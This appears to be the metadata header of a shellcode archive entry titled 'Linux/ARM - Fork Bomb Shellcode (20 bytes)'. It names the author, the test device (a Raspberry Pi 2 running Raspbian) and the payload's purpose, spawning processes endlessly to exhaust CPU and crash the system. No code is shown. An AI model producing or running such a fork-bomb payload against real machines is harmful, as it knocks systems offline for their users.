Linux/ARM - Fork Bomb Shellcode (20 bytes)

# Title:  Linux/ARM - Fork Bomb Shellcode (20 bytes)
# Category: Shellcode
# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
# Author: CJHackerz
# Description: This shellcode creates new processes in infinite loop to exhaust CPU resources leading to crash
